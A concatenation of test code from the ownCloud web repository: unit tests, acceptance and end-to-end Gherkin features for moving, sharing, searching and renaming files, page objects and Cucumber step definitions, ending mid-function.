describe('backend version', () => {
it('returns undefined when the backend version object is not available', () => {
const capabilityStore = versionStore(undefined)
expect(getBackendVersion({ capabilityStore })).toBeUndefined()
})
it('returns undefined when the backend version object has no "string" field', () => {
const capabilityStore = versionStore({
product: 'ownCloud',
versionstring: undefined
})
expect(getBackendVersion({ capabilityStore })).toBeUndefined()
})
it('falls back to "ownCloud" as a product when none is defined', () => {
const capabilityStore = versionStore({
versionstring: '10.8.0',
edition: 'Community'
})
expect(getBackendVersion({ capabilityStore })).toBe('ownCloud 10.8.0 Community')
})
it('provides the backend version as concatenation of product, version and edition', () => {
const capabilityStore = versionStore({
product: 'oCIS',
versionstring: '1.16.0',
edition: 'Reva'
})
expect(getBackendVersion({ capabilityStore })).toBe('oCIS 1.16.0 Reva')
})
it('prefers the productversion over versionstring field if both are provided', () => {
const capabilityStore = versionStore({
product: 'oCIS',
versionstring: '10.8.0',
productversion: '2.0.0',
edition: 'Community'
})
expect(getBackendVersion({ capabilityStore })).toBe('oCIS 2.0.0 Community')
})
})
})
const versionStore = (version: any) => {
createTestingPinia()
const capabilityStore = useCapabilityStore()
capabilityStore.capabilities.core.status = version
return capabilityStore
}
| owncloud/web/packages/web-runtime/tests/unit/container/versions.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-runtime/tests/unit/container/versions.spec.ts",
"repo_id": "owncloud",
"token_count": 782
} | 844 |
diff --git a/package.json b/package.json
index eddbb0a8f9ca9d022d7257d3c9428ae71e3be54c..04f790375ef36f03457c047f9cb0aba24ac0888f 100644
--- a/package.json
+++ b/package.json
@@ -3,7 +3,6 @@
"version": "15.0.1",
"description": "Cancelable Async Flows: a wrapper to treat generators as cancelable async functions",
"main": "./index.js",
- "browser": "./src/caf.js",
"scripts": {
"test": "node scripts/node-tests.js",
"test:package": "TEST_PACKAGE=true npm test",
| owncloud/web/patches/caf@15.0.1.patch/0 | {
"file_path": "owncloud/web/patches/caf@15.0.1.patch",
"repo_id": "owncloud",
"token_count": 204
} | 845 |
const path = require('path')
const events = require('events')
const archiver = require('archiver')
const _ = require('lodash')
class UploadRemote extends events.EventEmitter {
/**
* UploadRemote is responsible for using webdriver protocol to upload a local
* file to a remote Selenium server for use in testing uploads.
*
* @param {string} filePath Local path to the file used for uploading
* @param {function (string): void} [callback] - called when file gets uploaded with path to uploaded file
*/
command(filePath, callback) {
const buffers = []
const zip = archiver('zip')
/**
* We add all the buffered data to a list, and then,
* we concat all the buffer instances, base64encode it and send to the remote
* selenium browser. On completion, we get the result (containing the destination path to where the file
* was uploaded) which we can retrieve from the callback
*/
zip
.on('data', (data) => {
buffers.push(data)
})
.on('error', (err) => {
throw err
})
.on('warning', console.log)
.on('finish', () => {
const file = Buffer.concat(buffers).toString('base64')
this.api.session((session) => {
const opt = {
path: `/session/${session.sessionId}/file`,
method: 'POST',
data: { file }
}
this.client.transport
.runProtocolAction(opt) // private api
.then((result) => {
if (Object.hasOwnProperty.call(result, 'status') && result.status !== 0) {
throw new Error(result.value.message)
}
return result.value
})
.then((pathToFile) => _.isFunction(callback) && callback(pathToFile))
.then(() => this.emit('complete'))
})
})
const name = path.basename(filePath)
zip.file(filePath, { name })
zip.finalize() // `finish` event fires after calling this
}
}
module.exports = UploadRemote
| owncloud/web/tests/acceptance/customCommands/uploadRemote.js/0 | {
"file_path": "owncloud/web/tests/acceptance/customCommands/uploadRemote.js",
"repo_id": "owncloud",
"token_count": 808
} | 846 |
Feature: move folders
As a user
I want to move folders
So that I can organise my data structure
Background:
Given user "Alice" has been created with default attributes and without skeleton files in the server
And user "Alice" has created folder "simple-folder" in the server
And user "Alice" has created folder "simple-empty-folder" in the server
Scenario: An attempt to move a folder into a sub-folder using rename is not allowed
Given user "Alice" has logged in using the webUI
And the user has browsed to the personal page
When the user tries to rename folder "simple-empty-folder" to "simple-folder/simple-empty-folder" using the webUI
Then the error message 'The name cannot contain "/"' should be displayed on the webUI dialog prompt
And folder "simple-empty-folder" should be listed on the webUI
@smokeTest @ocisSmokeTest @skipOnIphoneResolution
Scenario: move a folder into another folder
Given user "Alice" has created folder "strängé नेपाली folder" in the server
And user "Alice" has logged in using the webUI
And the user has reloaded the current page of the webUI
When the user moves folder "simple-folder" into folder "simple-empty-folder" using the webUI
Then breadcrumb for folder "simple-empty-folder" should be displayed on the webUI
And folder "simple-folder" should be listed on the webUI
When the user browses to the files page
And the user moves folder "strängé नेपाली folder" into folder "simple-empty-folder" using the webUI
Then breadcrumb for folder "simple-empty-folder" should be displayed on the webUI
And folder "strängé नेपाली folder" should be listed on the webUI
Scenario: move a folder into another folder where a folder with the same name already exists
Given user "Alice" has created folder "simple-folder/simple-empty-folder" in the server
And user "Alice" has logged in using the webUI
And the user has browsed to the personal page
When the user tries to move folder "simple-empty-folder" into folder "simple-folder" using the webUI
Then the "modal error" message with header 'Folder with name "simple-empty-folder" already exists.' should be displayed on the webUI
@smokeTest @skipOnIphoneResolution
Scenario: Move multiple folders at once
Given user "Alice" has created folder "strängé नेपाली folder" in the server
And user "Alice" has logged in using the webUI
And the user has reloaded the current page of the webUI
When the user batch moves these folders into folder "simple-empty-folder" using the webUI
| name |
| simple-folder |
| strängé नेपाली folder |
Then breadcrumb for folder "simple-empty-folder" should be displayed on the webUI
And the following folders should be listed on the webUI
| folders |
| simple-folder |
| strängé नेपाली folder |
Scenario Outline: move a folder into another folder (problematic characters)
Given user "Alice" has logged in using the webUI
And the user has browsed to the personal page
When the user renames folder "simple-folder" to <folder_name> using the webUI
And the user renames folder "simple-empty-folder" to <target_name> using the webUI
And the user moves folder <folder_name> into folder <target_name> using the webUI
Then breadcrumb for folder <target_name> should be displayed on the webUI
And folder <folder_name> should be listed on the webUI
Examples:
| folder_name | target_name |
| "'single'" | "target-folder-with-'single'" |
# | "\"double\" quotes" | "target-folder-with\"double\" quotes" | FIXME: Needs a way to access breadcrumbs with double quotes issue-3734
| "question?" | "target-folder-with-question?" |
| "&and#hash" | "target-folder-with-&and#hash" |
Scenario: move a folder into the same folder
Given user "Alice" has logged in using the webUI
When the user tries to move folder "simple-empty-folder" into folder "simple-empty-folder" using the webUI
Then the "error" message with header "You can't paste the selected file at this location because you can't paste an item into itself." should be displayed on the webUI
And the user clears all error message from the webUI
And as "Alice" folder "simple-empty-folder/simple-empty-folder" should not exist in the server
Scenario: move a folder into another folder with same name
Given user "Alice" has created folder "simple-folder/simple-empty-folder" in the server
And user "Alice" has logged in using the webUI
When the user moves folder "simple-empty-folder" into folder "simple-folder/simple-empty-folder" using the webUI
Then breadcrumb for folder "simple-empty-folder" should be displayed on the webUI
And folder "simple-empty-folder" should be listed on the webUI
And as "Alice" folder "simple-folder/simple-empty-folder/simple-empty-folder" should exist in the server
And as "Alice" folder "simple-empty-folder" should not exist in the server
| owncloud/web/tests/acceptance/features/webUIMoveFilesFolders/moveFolders.feature/0 | {
"file_path": "owncloud/web/tests/acceptance/features/webUIMoveFilesFolders/moveFolders.feature",
"repo_id": "owncloud",
"token_count": 1581
} | 847 |
@mailhog @public_link_share-feature-required
Feature: Public link share management
As a user
I want to check different options available in public shares
So that I can manage and organize the shares
Background:
Given user "Alice" has been created with default attributes and without skeleton files in the server
And user "Alice" has created folder "/simple-folder" in the server
Scenario: opening public-link page of the files-drop link protected with password should redirect to files-drop page
Given user "Alice" has shared folder "simple-folder" with link with "create" permissions and password "#Passw0rd" in the server
When the public uses the webUI to access the last public link created by user "Alice" with password "#Passw0rd" in a new session
Then the user should be redirected to the files-drop page
Scenario: opening public-link page of the files-drop link without password set should redirect to files-drop page
Given user "Alice" has shared folder "simple-folder" with link with "create" permissions in the server
When the public uses the webUI to access the last public link created by user "Alice" in a new session
Then the user should be redirected to the files-drop page
@issue-ocis-1328
Scenario: user shares a file through public link and then it appears in a shared-via-link page
Given the setting "shareapi_allow_public_notification" of app "core" has been set to "yes" in the server
And user "Alice" has created a public link with following settings in the server
| path | simple-folder |
| name | link-editor |
| permissions | read, update, create, delete |
And user "Alice" has created a public link with following settings in the server
| path | simple-folder |
| name | link-viewer |
| permissions | read |
And user "Alice" has logged in using the webUI
When the user browses to the shared-via-link page using the webUI
Then folder "simple-folder" should be listed on the webUI
And the following resources should have the following collaborators
| fileName | expectedCollaborators |
| simple-folder | link-editor, link-viewer |
Scenario: user cancel removes operation for the public link of a file
Given user "Alice" has created file "lorem.txt" in the server
And user "Alice" has logged in using the webUI
And user "Alice" has created a public link with following settings in the server
| path | lorem.txt |
| name | Public-link |
| permissions | read |
When the user cancels remove the public link named "Public-link" of file "lorem.txt" using the webUI
Then user "Alice" should have some public shares in the server
@ocisSmokeTest
Scenario: user browses to public link share using copy link button
Given user "Alice" has created file "simple-folder/lorem.txt" in the server
And user "Alice" has created a public link with following settings in the server
| path | simple-folder |
| name | Public-link |
| permissions | read |
And user "Alice" has logged in using the webUI
When the user copies the url of public link named "Public-link" of folder "simple-folder" using the webUI
And the user navigates to the copied public link using the webUI
Then file "lorem.txt" should be listed on the webUI
@issue-2897
Scenario: sharing details of indirect items inside a shared folder
Given user "Alice" has created folder "/simple-folder/sub-folder" in the server
And user "Alice" has uploaded file with content "test" to "/simple-folder/textfile.txt" in the server
And user "Alice" has created a public link with following settings in the server
| path | /simple-folder |
| name | Public Link |
And user "Alice" has logged in using the webUI
When the user opens folder "simple-folder" using the webUI
Then a link named "Public Link" should be listed with role "Anyone with the link can view" in the public link list of resource "sub-folder" via "simple-folder" on the webUI
@issue-2897
Scenario: sharing details of multiple indirect public link shares
Given user "Alice" has created folder "/simple-folder/sub-folder" in the server
And user "Alice" has uploaded file with content "test" to "/simple-folder/sub-folder/textfile.txt" in the server
And user "Alice" has created a public link with following settings in the server
| path | /simple-folder |
| name | Public Link |
And user "Alice" has created a public link with following settings in the server
| path | /simple-folder/sub-folder |
| name | strängé लिंक नाम (#2 &).नेपाली |
And user "Alice" has logged in using the webUI
When the user opens folder "simple-folder/sub-folder" directly on the webUI
Then a link named "Public Link" should be listed with role "Anyone with the link can view" in the public link list of resource "textfile.txt" via "simple-folder" on the webUI
And a link named "strängé लिंक नाम (#2 &).नेपाली" should be listed with role "Anyone with the link can view" in the public link list of resource "textfile.txt" via "sub-folder" on the webUI
@skipOnOC10 @issue-product-130
Scenario: User can attempt to upload a file in public link
Given user "Alice" has created file "lorem.txt" in the server
And user "Alice" has created a public link with following settings in the server
| path | lorem.txt |
| name | public link |
| permissions | read |
When the public uses the webUI to access the last public link created by user "Alice" in a new session
And the user closes the text editor using the webUI
Then file "lorem.txt" should be listed on the webUI as single share
And the create button should not be visible on the webUI
Scenario: Shared via link page is displayed
Given user "Alice" has created file "lorem.txt" in the server
And user "Alice" has created a public link with following settings in the server
| path | lorem.txt |
| name | Public-link |
And user "Alice" has logged in using the webUI
When the user browses to the shared-via-link page using the webUI
Then file "lorem.txt" should be listed on the webUI
And the following resources should have the following collaborators
| fileName | expectedCollaborators |
| lorem.txt | Public-link |
| owncloud/web/tests/acceptance/features/webUISharingPublicManagement/shareByPublicLink.feature/0 | {
"file_path": "owncloud/web/tests/acceptance/features/webUISharingPublicManagement/shareByPublicLink.feature",
"repo_id": "owncloud",
"token_count": 2059
} | 848 |
const join = require('join-path')
const fs = require('fs')
const _ = require('lodash/fp')
const assert = require('assert')
const normalize = _.replace(/^\/+|$/g, '')
const parts = _.pipe(normalize, _.split('/'))
const relativeTo = function (basePath, childPath) {
basePath = normalize(basePath)
childPath = normalize(childPath)
assert.ok(childPath.startsWith(basePath), `${childPath} does not contain ${basePath}`)
const basePathLength = basePath.length
return childPath.slice(basePathLength)
}
const deleteFolderRecursive = function (path) {
if (fs.existsSync(path)) {
fs.readdirSync(path).forEach((file, index) => {
const curPath = join(path, file)
if (fs.lstatSync(curPath).isDirectory()) {
// recurse
deleteFolderRecursive(curPath)
} else {
// delete file
fs.unlinkSync(curPath)
}
})
fs.rmdirSync(path)
}
}
module.exports = {
normalize,
resolve: _.partial(join, ['/']),
join,
parts,
relativeTo,
filename: _.pipe(
parts,
_.remove((n) => n === ''),
_.last
),
deleteFolderRecursive
}
| owncloud/web/tests/acceptance/helpers/path.js/0 | {
"file_path": "owncloud/web/tests/acceptance/helpers/path.js",
"repo_id": "owncloud",
"token_count": 431
} | 849 |
/* eslint-disable no-unused-expressions */
const util = require('util')
module.exports = {
commands: {
isQuickActionVisible: function (action) {
const className = action === 'collaborators' ? 'show-shares' : 'copy-quicklink'
const actionSelector = util.format(this.elements.quickAction.selector, className)
this.useXpath().expect.element(actionSelector).to.be.visible
this.useCss()
return this
}
},
elements: {
quickAction: {
selector: '//button[contains(@class, "files-quick-action-%s")]',
locateStrategy: 'xpath'
}
}
}
| owncloud/web/tests/acceptance/pageObjects/FilesPageElement/filesRow.js/0 | {
"file_path": "owncloud/web/tests/acceptance/pageObjects/FilesPageElement/filesRow.js",
"repo_id": "owncloud",
"token_count": 232
} | 850 |
module.exports = {
commands: [
{
/**
* Wait for the password input section of public link page to appear
*/
waitForVisible: async function () {
await this.waitForElementVisible('@publicLinkPasswordSection')
},
/**
*
* @param {string} password
*/
submitPublicLinkPassword: async function (password) {
await this.waitForElementVisible('@passwordInput')
.setValue('@passwordInput', password)
.click('@passwordSubmitButton')
return this.page.FilesPageElement.filesList().waitForLoadingFinished(false, false)
},
/**
* submits the public link password input form
* this is made for those scenarios where we submit wrong password in previous steps and webUI doesn't navigate to files-page
*/
submitLinkPasswordForm: function () {
return this.waitForElementVisible('@passwordInput')
.initAjaxCounters()
.click('@passwordSubmitButton')
.waitForOutstandingAjaxCalls()
},
/**
* gets resource access denied message after clicking submit password button for a public link share
*
* @return {Promise<string>}
*/
getResourceAccessDeniedMsg: async function () {
let message
await this.waitForElementVisible('@passwordSubmitButton').getText(
'@resourceProtectedText',
(result) => {
message = result.value
}
)
return message
}
}
],
elements: {
body: 'body',
passwordInput: {
selector: 'input[type=password]'
},
passwordSubmitButton: {
selector: '.oc-login-authorize-button'
},
resourceProtectedText: {
selector: '//*[contains(@class, "oc-link-resolve")]//*[@class="oc-card-header"]',
locateStrategy: 'xpath'
},
linkResolveErrorTitle: {
selector: '.oc-link-resolve-error-title'
},
publicLinkPasswordSection: {
selector:
'//*[contains(@class, "oc-link-resolve")]//*[@class="oc-card-header"]//*[text()="This resource is password-protected"]',
locateStrategy: 'xpath'
}
}
}
| owncloud/web/tests/acceptance/pageObjects/publicLinkPasswordPage.js/0 | {
"file_path": "owncloud/web/tests/acceptance/pageObjects/publicLinkPasswordPage.js",
"repo_id": "owncloud",
"token_count": 892
} | 851 |
const { After, Before, Given } = require('@cucumber/cucumber')
const fetch = require('node-fetch')
const { client } = require('nightwatch-api')
function handler(statement1, statement2, table = undefined) {
let statement = ''
if (statement1) {
statement = statement + statement1.trim()
}
if (statement1 && statement2 && statement2 !== ':') {
statement = statement + ' '
}
if (statement2) {
statement = statement + statement2.trim()
}
const data = {
step: 'Given ' + statement
}
if (table) {
data.table = table
}
return fetch(client.globals.middlewareUrl + '/execute', {
method: 'POST',
body: JSON.stringify(data),
headers: {
'Content-Type': 'application/json'
}
})
.then(async (res) => {
if (res.ok) {
return res.text()
} else {
const message = await res.text()
throw new Error(message)
}
})
.catch((err) => {
return Promise.reject(err)
})
}
Before(function () {
return fetch(client.globals.middlewareUrl + '/init', {
method: 'POST'
})
.then((res) => {
return res.json()
})
.then((res) => {
if (!res.success) {
throw new Error('Failed to initialize the middleware: ' + res.message)
}
})
})
After(function () {
return fetch(client.globals.middlewareUrl + '/cleanup', {
method: 'POST'
})
})
Given(
/^((?:(?!these|following).)*\S)\s(in the server|on remote server|in the middleware)(.*)$/,
(st1, st2, st3) => {
if (st2 === 'on remote server') {
st1 = st1 + ' ' + st2
}
return handler(st1, st3)
}
)
Given(
/^(.*(?=these|following).*\S)\s(in the server|on remote server|in the middleware)(.*)$/,
(st1, st2, st3, table) => {
if (st2 === 'on remote server') {
st1 = st1 + ' ' + st2
}
return handler(st1, st3, table.raw())
}
)
| owncloud/web/tests/acceptance/stepDefinitions/middlewareContext.js/0 | {
"file_path": "owncloud/web/tests/acceptance/stepDefinitions/middlewareContext.js",
"repo_id": "owncloud",
"token_count": 777
} | 852 |
Feature: Search
As a user
I want to search for resources
So that I can find them quickly
Scenario: Search in personal spaces
Given "Admin" creates following users using API
| id |
| Alice |
| Brian |
| Carol |
And "Brian" logs in
And "Brian" creates the following folder in personal space using API
| name |
| new_share_from_brian |
And "Brian" uploads the following local file into personal space using API
| localFile | to |
| filesForUpload/new-lorem-big.txt | new-lorem-big.txt |
And "Brian" opens the "files" app
And "Brian" shares the following resource using the sidebar panel
| resource | recipient | type | role | resourceType |
| new_share_from_brian | Alice | user | Can view | folder |
| new-lorem-big.txt | Alice | user | Can view | file |
And "Brian" logs out
When "Alice" logs in
And "Alice" opens the "files" app
And "Alice" creates the following resources
| resource | type |
| folder | folder |
| FolDer/child-one/child-two | folder |
| strängéनेपालीName | folder |
And "Alice" enables the option to display the hidden file
And "Alice" uploads the following resources
| resource |
| .hidden-file.txt |
# search for objects of personal space
When "Alice" searches "foldeR" using the global search and the "all files" filter
Then following resources should be displayed in the search list for user "Alice"
| resource |
| folder |
| FolDer |
But following resources should not be displayed in the search list for user "Alice"
| resource |
| new_share_from_brian |
| new-lorem-big.txt |
| .hidden-file.txt |
# search for hidden file
When "Alice" searches "hidden" using the global search and the "all files" filter
Then following resources should be displayed in the search list for user "Alice"
| resource |
| .hidden-file.txt |
But following resources should not be displayed in the search list for user "Alice"
| resource |
| folder |
| FolDer |
| PARENT |
| new-lorem-big.txt |
# subfolder search
And "Alice" searches "child" using the global search and the "all files" filter
Then following resources should be displayed in the search list for user "Alice"
| resource |
| child-one |
| child-two |
But following resources should not be displayed in the search list for user "Alice"
| resource |
| folder |
| FolDer |
| folder_from_brian |
| .hidden-file.txt |
| new-lorem-big.txt |
# received shares search
And "Alice" searches "NEW" using the global search and the "all files" filter
Then following resources should be displayed in the search list for user "Alice"
| resource |
| new_share_from_brian |
| new-lorem-big.txt |
But following resources should not be displayed in the search list for user "Alice"
| resource |
| folder |
| FolDer |
| .hidden-file.txt |
And "Alice" opens the "files" app
# search renamed resources
When "Alice" renames the following resource
| resource | as |
| folder | renamedFolder |
| FolDer | renamedFolDer |
And "Alice" searches "rena" using the global search and the "all files" filter
Then following resources should be displayed in the search list for user "Alice"
| resource |
| renamedFolder |
| renamedFolDer |
But following resources should not be displayed in the search list for user "Alice"
| resource |
| folder |
| FolDer |
# search difficult names
When "Alice" searches "strängéनेपालीName" using the global search and the "all files" filter and presses enter
And "Alice" enables the option to search title only
Then following resources should be displayed in the files list for user "Alice"
| strängéनेपालीName |
# deleting folder from search result and search deleted resource
When "Alice" deletes the following resource using the sidebar panel
| resource | from |
| strängéनेपालीName | |
And "Alice" searches "forDeleting" using the global search and the "all files" filter
Then following resources should not be displayed in the search list for user "Alice"
| resource |
| strängéनेपालीName |
And "Alice" logs out
Scenario: Search using "current folder" filter
Given "Admin" creates following users using API
| id |
| Alice |
And "Alice" logs in
And "Alice" creates the following folders in personal space using API
| name |
| mainFolder/subFolder |
And "Alice" creates the following files into personal space using API
| pathToFile | content |
| exampleInsideThePersonalSpace.txt | I'm in the personal Space |
| mainFolder/exampleInsideTheMainFolder.txt | I'm in the main folder |
| mainFolder/subFolder/exampleInsideTheSubFolder.txt | I'm in the sub folder |
And "Alice" opens the "files" app
When "Alice" opens folder "mainFolder"
And "Alice" searches "example" using the global search and the "all files" filter
Then following resources should be displayed in the search list for user "Alice"
| resource |
| exampleInsideThePersonalSpace.txt |
| exampleInsideTheMainFolder.txt |
| exampleInsideTheSubFolder.txt |
When "Alice" searches "example" using the global search and the "current folder" filter
Then following resources should be displayed in the search list for user "Alice"
| resource |
| exampleInsideTheMainFolder.txt |
| exampleInsideTheSubFolder.txt |
But following resources should not be displayed in the search list for user "Alice"
| resource |
| exampleInsideThePersonalSpace.txt |
And "Alice" logs out
Scenario: Search using mediaType filter
Given "Admin" creates following users using API
| id |
| Alice |
And "Alice" logs in
And "Alice" creates the following folders in personal space using API
| name |
| mediaTest |
And "Alice" uploads the following local file into personal space using API
| localFile | to |
| filesForUpload/testavatar.jpg | mediaTest.jpg |
And "Alice" creates the following files into personal space using API
| pathToFile | content |
| mediaTest.txt | I'm a Document |
| mediaTest.pdf | I'm a PDF |
| mediaTest.mp3 | I'm a Audio |
| mediaTest.zip | I'm a Archive |
When "Alice" opens the "files" app
And "Alice" searches "mediaTest" using the global search and the "all files" filter and presses enter
And "Alice" enables the option to search title only
And "Alice" selects mediaType "Document" from the search result filter chip
Then following resources should be displayed in the files list for user "Alice"
| resource |
| mediaTest.txt |
And "Alice" clears mediaType filter
When "Alice" selects mediaType "PDF" from the search result filter chip
Then following resources should be displayed in the files list for user "Alice"
| resource |
| mediaTest.pdf |
And "Alice" clears mediaType filter
When "Alice" selects mediaType "Audio" from the search result filter chip
Then following resources should be displayed in the files list for user "Alice"
| resource |
| mediaTest.mp3 |
And "Alice" clears mediaType filter
When "Alice" selects mediaType "Archive" from the search result filter chip
Then following resources should be displayed in the files list for user "Alice"
| resource |
| mediaTest.zip |
And "Alice" clears mediaType filter
# multiple choose
When "Alice" selects mediaType "Folder" from the search result filter chip
And "Alice" selects mediaType "Image" from the search result filter chip
Then following resources should be displayed in the files list for user "Alice"
| resource |
| mediaTest |
| mediaTest.jpg |
But following resources should not be displayed in the files list for user "Alice"
| resource |
| mediaTest.txt |
| mediaTest.pdf |
| mediaTest.mp3 |
| mediaTest.zip |
And "Alice" logs out
Scenario: Search using lastModified filter
Given "Admin" creates following users using API
| id |
| Alice |
And "Alice" logs in
And "Alice" creates the following folders in personal space using API
| name |
| mainFolder |
And "Alice" creates the following files with mtime into personal space using API
| pathToFile | content | mtimeDeltaDays |
| mainFolder/mediaTest.pdf | created 29 days ago | -29 days |
| mainFolder/mediaTest.txt | created 5 days ago | -5 days |
| mainFolder/mediaTest.md | created today | |
And "Alice" opens the "files" app
When "Alice" opens folder "mainFolder"
And "Alice" searches "mediaTest" using the global search and the "current folder" filter and presses enter
And "Alice" enables the option to search title only
And "Alice" selects lastModified "last 30 days" from the search result filter chip
Then following resources should be displayed in the files list for user "Alice"
| resource |
| mainFolder/mediaTest.pdf |
| mainFolder/mediaTest.txt |
| mainFolder/mediaTest.md |
When "Alice" selects lastModified "last 7 days" from the search result filter chip
Then following resources should be displayed in the files list for user "Alice"
| resource |
| mainFolder/mediaTest.txt |
| mainFolder/mediaTest.md |
But following resources should not be displayed in the files list for user "Alice"
| resource |
| mainFolder/mediaTest.pdf |
When "Alice" selects lastModified "today" from the search result filter chip
Then following resources should be displayed in the files list for user "Alice"
| resource |
| mainFolder/mediaTest.md |
But following resources should not be displayed in the files list for user "Alice"
| resource |
| mainFolder/mediaTest.pdf |
| mainFolder/mediaTest.txt |
And "Alice" clears lastModified filter
And "Alice" logs out
| owncloud/web/tests/e2e/cucumber/features/search/search.feature/0 | {
"file_path": "owncloud/web/tests/e2e/cucumber/features/search/search.feature",
"repo_id": "owncloud",
"token_count": 4195
} | 853 |
Feature: rename
As a user
I want to rename resources
So I can rename resources from different locations
Scenario: rename resources
Given "Admin" creates following user using API
| id |
| Alice |
| Brian |
And "Alice" logs in
And "Alice" creates the following folders in personal space using API
| name |
| folder |
And "Alice" creates the following files into personal space using API
| pathToFile | content |
| folder/example.txt | example text |
And "Alice" opens the "files" app
And "Alice" shares the following resource using API
| resource | recipient | type | role |
| folder | Brian | user | Can edit |
And "Alice" creates a public link creates a public link of following resource using the sidebar panel
| resource | role | password |
| folder | Can edit | %public% |
And "Brian" logs in
And "Brian" opens the "files" app
And "Brian" navigates to the shared with me page
And "Brian" opens folder "folder"
# rename in the shares with me page
When "Brian" renames the following resource
| resource | as |
| example.txt | renamedByBrian.txt |
And "Brian" logs out
# rename in the public link
When "Anonymous" opens the public link "Link"
And "Anonymous" unlocks the public link with password "%public%"
When "Anonymous" renames the following resource
| resource | as |
| renamedByBrian.txt | renamedByAnonymous.txt |
# rename in the shares with other page
And "Alice" navigates to the shared with others page
And "Alice" opens folder "folder"
When "Alice" renames the following resource
| resource | as |
| renamedByAnonymous.txt | renamedByAlice |
And "Alice" logs out
| owncloud/web/tests/e2e/cucumber/features/smoke/rename.feature/0 | {
"file_path": "owncloud/web/tests/e2e/cucumber/features/smoke/rename.feature",
"repo_id": "owncloud",
"token_count": 677
} | 854 |
import { Given, DataTable } from '@cucumber/cucumber'
import { World } from '../environment'
import { api } from '../../support'
import fs from 'fs'
import { Space } from '../../support/types'
Given(
'{string} creates following user(s) using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const admin = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
const user = this.usersEnvironment.getUser({ key: info.id })
await api.provision.createUser({ user, admin })
}
}
)
Given(
'{string} assigns following roles to the users using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const admin = this.usersEnvironment.getUser({ key: stepUser })
for await (const info of stepTable.hashes()) {
const user = this.usersEnvironment.getUser({ key: info.id })
await api.provision.assignRole({ admin, user, role: info.role })
}
}
)
Given(
'{string} creates following group(s) using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const admin = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
const group = this.usersEnvironment.getGroup({ key: info.id })
await api.graph.createGroup({ group, admin })
}
}
)
Given(
'{string} adds user(s) to the group(s) using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const admin = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
const group = this.usersEnvironment.getGroup({ key: info.group })
const user = this.usersEnvironment.getUser({ key: info.user })
await api.graph.addUserToGroup({ user, group, admin })
}
}
)
Given(
'{string} creates the following folder(s) in personal space using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
await api.dav.createFolderInsidePersonalSpace({ user, folder: info.name })
}
}
)
Given(
'{string} creates {int} folder(s) in personal space using API',
async function (this: World, stepUser: string, numberOfFolders: number): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (let i = 1; i <= numberOfFolders; i++) {
await api.dav.createFolderInsidePersonalSpace({ user, folder: `testFolder${i}` })
}
}
)
Given(
'{string} shares the following resource using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
await api.share.createShare({
user,
path: info.resource,
shareType: info.type,
shareWith: info.recipient,
role: info.role,
name: info.name
})
}
}
)
Given(
'{string} disables auto-accepting using API',
async function (this: World, stepUser: string): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
await api.settings.disableAutoAcceptShare({ user })
}
)
Given(
'{string} creates the following file(s) into personal space using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
await api.dav.uploadFileInPersonalSpace({
user,
pathToFile: info.pathToFile,
content: info.content
})
}
}
)
Given(
'{string} creates the following file(s) with mtime into personal space using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
await api.dav.uploadFileInPersonalSpace({
user,
pathToFile: info.pathToFile,
content: info.content,
mtimeDeltaDays: info.mtimeDeltaDays
})
}
}
)
Given(
'{string} creates {int} file(s) in personal space using API',
async function (this: World, stepUser: string, numberOfFiles: number): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (let i = 1; i <= numberOfFiles; i++) {
await api.dav.uploadFileInPersonalSpace({
user,
pathToFile: `testfile${i}.txt`,
content: `This is a test file${i}`
})
}
}
)
Given(
'{string} uploads the following local file(s) into personal space using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
const fileInfo = this.filesEnvironment.getFile({ name: info.localFile.split('/').pop() })
const content = fs.readFileSync(fileInfo.path)
await api.dav.uploadFileInPersonalSpace({
user,
pathToFile: info.to,
content
})
}
}
)
Given(
'{string} creates the following project space(s) using API',
async function (this: World, stepUser: string, stepTable: DataTable): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (const space of stepTable.hashes()) {
const spaceId = await api.graph.createSpace({ user, space: space as unknown as Space })
this.spacesEnvironment.createSpace({
key: space.id || space.name,
space: { name: space.name, id: spaceId }
})
}
}
)
Given(
'{string} creates the following file(s) in space {string} using API',
async function (
this: World,
stepUser: string,
space: string,
stepTable: DataTable
): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
await api.dav.uploadFileInsideSpaceBySpaceName({
user,
pathToFile: info.name,
spaceName: space,
content: info.content
})
}
}
)
Given(
'{string} creates {int} file(s) in space {string} using API',
async function (
this: World,
stepUser: string,
numberOfFiles: number,
space: string
): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (let i = 1; i <= numberOfFiles; i++) {
await api.dav.uploadFileInsideSpaceBySpaceName({
user,
pathToFile: `testfile${i}.txt`,
spaceName: space,
content: `This is a test file${i}`
})
}
}
)
Given(
'{string} creates the following folder(s) in space {string} using API',
async function (
this: World,
stepUser: string,
space: string,
stepTable: DataTable
): Promise<void> {
const user = this.usersEnvironment.getUser({ key: stepUser })
for (const info of stepTable.hashes()) {
await api.dav.createFolderInsideSpaceBySpaceName({
user,
folder: info.name,
spaceName: space
})
}
}
)
Given(
'{string} creates {int} folders(s) in space {string} using API',
async function (
this: World,
stepUser: string,
numberOfFolders: number,
space: string
